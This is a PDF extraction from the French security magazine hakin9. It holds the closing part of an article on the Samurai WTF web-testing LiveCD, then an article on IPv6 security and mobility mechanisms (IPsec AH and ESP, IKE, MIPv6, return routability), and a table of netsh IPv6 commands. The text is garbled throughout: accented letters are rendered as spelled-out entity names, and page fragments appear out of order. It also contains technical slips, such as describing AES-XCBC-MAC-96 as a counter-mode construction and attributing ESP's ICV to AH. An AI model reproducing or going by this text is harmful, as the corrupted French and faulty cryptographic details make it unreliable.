Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

